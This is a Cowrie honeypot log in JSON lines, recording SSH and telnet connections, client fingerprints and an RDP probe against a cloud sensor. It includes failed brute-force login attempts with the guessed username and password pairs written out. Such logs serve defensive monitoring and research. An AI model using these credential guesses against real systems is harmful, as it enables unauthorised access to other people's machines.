{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51972,"dst_ip":"10.17.0.5","dst_port":23,"session":"362ffcf4403a","protocol":"telnet","message":"New connection: 152.42.224.71:51972 (10.17.0.5:23) [session: 362ffcf4403a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:12.315721Z"}
{"eventid":"cowrie.session.closed","duration":120.00129795074463,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:12.696613Z","src_ip":"152.42.224.71","session":"5754fa2010b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37544,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aad5cfa6e4f","protocol":"ssh","message":"New connection: 147.45.199.80:37544 (10.17.0.5:22) [session: 1aad5cfa6e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:14.757407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:14.761951Z","src_ip":"147.45.199.80","session":"1aad5cfa6e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:14.861109Z","src_ip":"147.45.199.80","session":"1aad5cfa6e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3easd","message":"login attempt [root/1q2w3easd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:15.159167Z","src_ip":"147.45.199.80","session":"1aad5cfa6e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:16.261969Z","src_ip":"147.45.199.80","session":"1aad5cfa6e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.00869655609131,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:17.717174Z","src_ip":"152.42.224.71","session":"f60c039fd383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41018,"dst_ip":"10.17.0.5","dst_port":23,"session":"6751f0155ae9","protocol":"telnet","message":"New connection: 152.42.224.71:41018 (10.17.0.5:23) [session: 6751f0155ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:19.746644Z"}
{"eventid":"cowrie.session.closed","duration":31.08112382888794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:23.393475Z","src_ip":"152.42.224.71","session":"812c0cc68206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.826218366622925,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:37.996051Z","src_ip":"152.42.224.71","session":"2f107033487f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36824,"dst_ip":"10.17.0.5","dst_port":23,"session":"366177fb0bf2","protocol":"telnet","message":"New connection: 152.42.224.71:36824 (10.17.0.5:23) [session: 366177fb0bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:39.025865Z"}
{"eventid":"cowrie.session.closed","duration":23.657817363739014,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:43.404350Z","src_ip":"152.42.224.71","session":"6751f0155ae9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.89874267578125,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:44.683022Z","src_ip":"152.42.224.71","session":"e6a19d1a30a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06241178512573,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:45.327558Z","src_ip":"152.42.224.71","session":"7f1712ab4d9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.80279231071472,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:47.068746Z","src_ip":"152.42.224.71","session":"bcc47e5279ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59760,"dst_ip":"10.17.0.5","dst_port":23,"session":"49bb866b1e5a","protocol":"telnet","message":"New connection: 152.42.224.71:59760 (10.17.0.5:23) [session: 49bb866b1e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:50.898639Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59766,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65797014a85","protocol":"telnet","message":"New connection: 152.42.224.71:59766 (10.17.0.5:23) [session: a65797014a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:52.937202Z"}
{"eventid":"cowrie.session.closed","duration":48.48546838760376,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:55.274334Z","src_ip":"152.42.224.71","session":"0b14f9719091","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38424,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e01e004cd82","protocol":"ssh","message":"New connection: 109.237.96.109:38424 (10.17.0.5:22) [session: 4e01e004cd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:56.022970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:56.027514Z","src_ip":"109.237.96.109","session":"4e01e004cd82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:56.120131Z","src_ip":"109.237.96.109","session":"4e01e004cd82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dmitriy","message":"login attempt [root/dmitriy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:56.399901Z","src_ip":"109.237.96.109","session":"4e01e004cd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:57.494819Z","src_ip":"109.237.96.109","session":"4e01e004cd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54374,"dst_ip":"10.17.0.5","dst_port":23,"session":"0203ef211ebb","protocol":"telnet","message":"New connection: 152.42.224.71:54374 (10.17.0.5:23) [session: 0203ef211ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:07:58.375561Z"}
{"eventid":"cowrie.session.closed","duration":48.728354692459106,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:01.043957Z","src_ip":"152.42.224.71","session":"362ffcf4403a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.188706159591675,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:01.470063Z","src_ip":"152.42.224.71","session":"3b70917a1b95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.750991582870483,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:10.688084Z","src_ip":"152.42.224.71","session":"a65797014a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00467205047607,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:14.246619Z","src_ip":"152.42.224.71","session":"67ccf4acc69b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52989,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c7a7676b442","protocol":"ssh","message":"New connection: 152.42.212.128:52989 (10.17.0.5:22) [session: 9c7a7676b442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:19.382551Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:19.388259Z","src_ip":"152.42.212.128","session":"9c7a7676b442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:19.391578Z","src_ip":"152.42.212.128","session":"9c7a7676b442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.808552742004395,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:21.834301Z","src_ip":"152.42.224.71","session":"366177fb0bf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00286912918091,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:24.080525Z","src_ip":"152.42.224.71","session":"eabe9a00c100","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":12287,"dst_ip":"159.203.135.109","dst_port":22,"session":"29dc7dc16b25","protocol":"ssh","message":"New connection: 213.209.159.56:12287 (159.203.135.109:22) [session: 29dc7dc16b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:27.741014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:27.745959Z","src_ip":"213.209.159.56","session":"29dc7dc16b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:27.828064Z","src_ip":"213.209.159.56","session":"29dc7dc16b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani","message":"login attempt [stefani/stefani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:28.234756Z","src_ip":"213.209.159.56","session":"29dc7dc16b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani1","message":"login attempt [stefani/stefani1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:29.319117Z","src_ip":"213.209.159.56","session":"29dc7dc16b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.152026891708374,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:30.050578Z","src_ip":"152.42.224.71","session":"49bb866b1e5a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani123","message":"login attempt [stefani/stefani123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:30.402787Z","src_ip":"213.209.159.56","session":"29dc7dc16b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani1234","message":"login attempt [stefani/stefani1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:31.488103Z","src_ip":"213.209.159.56","session":"29dc7dc16b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":39650,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6deb44b3542","protocol":"ssh","message":"New connection: 185.236.22.41:39650 (159.203.135.109:22) [session: d6deb44b3542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:32.367256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:32.372081Z","src_ip":"185.236.22.41","session":"d6deb44b3542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:32.569013Z","src_ip":"185.236.22.41","session":"d6deb44b3542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefani","password":"stefani12345","message":"login attempt [stefani/stefani12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:32.575223Z","src_ip":"213.209.159.56","session":"29dc7dc16b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36822,"dst_ip":"10.17.0.5","dst_port":23,"session":"cccc4c6e6170","protocol":"telnet","message":"New connection: 152.42.224.71:36822 (10.17.0.5:23) [session: cccc4c6e6170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:32.581192Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1478963","message":"login attempt [root/1478963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:32.988616Z","src_ip":"185.236.22.41","session":"d6deb44b3542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:33.659328Z","src_ip":"213.209.159.56","session":"29dc7dc16b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:34.162234Z","src_ip":"185.236.22.41","session":"d6deb44b3542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.085495471954346,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:37.666599Z","src_ip":"152.42.224.71","session":"cccc4c6e6170","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59012,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfb63d404d6d","protocol":"telnet","message":"New connection: 152.42.224.71:59012 (10.17.0.5:23) [session: cfb63d404d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:38.301464Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38140,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c3c9cbd0e2","protocol":"telnet","message":"New connection: 152.42.224.71:38140 (10.17.0.5:23) [session: 86c3c9cbd0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:47.886767Z"}
{"eventid":"cowrie.session.closed","duration":10.991756200790405,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:49.293118Z","src_ip":"152.42.224.71","session":"cfb63d404d6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00612807273865,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:08:56.752454Z","src_ip":"152.42.224.71","session":"398b51fc4585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39426,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b6c8b7b644","protocol":"telnet","message":"New connection: 152.42.224.71:39426 (10.17.0.5:23) [session: 49b6c8b7b644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:06.518797Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53226,"dst_ip":"10.17.0.5","dst_port":23,"session":"221daa563f9f","protocol":"telnet","message":"New connection: 152.42.224.71:53226 (10.17.0.5:23) [session: 221daa563f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:08.529319Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53236,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4248337b78","protocol":"telnet","message":"New connection: 152.42.224.71:53236 (10.17.0.5:23) [session: 9f4248337b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:10.211078Z"}
{"eventid":"cowrie.session.closed","duration":38.07708525657654,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:25.963880Z","src_ip":"152.42.224.71","session":"86c3c9cbd0e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35904,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d024d1b123","protocol":"telnet","message":"New connection: 152.42.224.71:35904 (10.17.0.5:23) [session: 77d024d1b123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:26.501142Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48114,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d54521141f","protocol":"telnet","message":"New connection: 152.42.224.71:48114 (10.17.0.5:23) [session: 35d54521141f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:35.325354Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45100,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a6e656bd1f8","protocol":"telnet","message":"New connection: 152.42.224.71:45100 (10.17.0.5:23) [session: 5a6e656bd1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:36.302374Z"}
{"eventid":"cowrie.session.closed","duration":32.295111894607544,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:42.506069Z","src_ip":"152.42.224.71","session":"9f4248337b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45110,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a43a618a6a8","protocol":"telnet","message":"New connection: 152.42.224.71:45110 (10.17.0.5:23) [session: 1a43a618a6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:09:43.570118Z"}
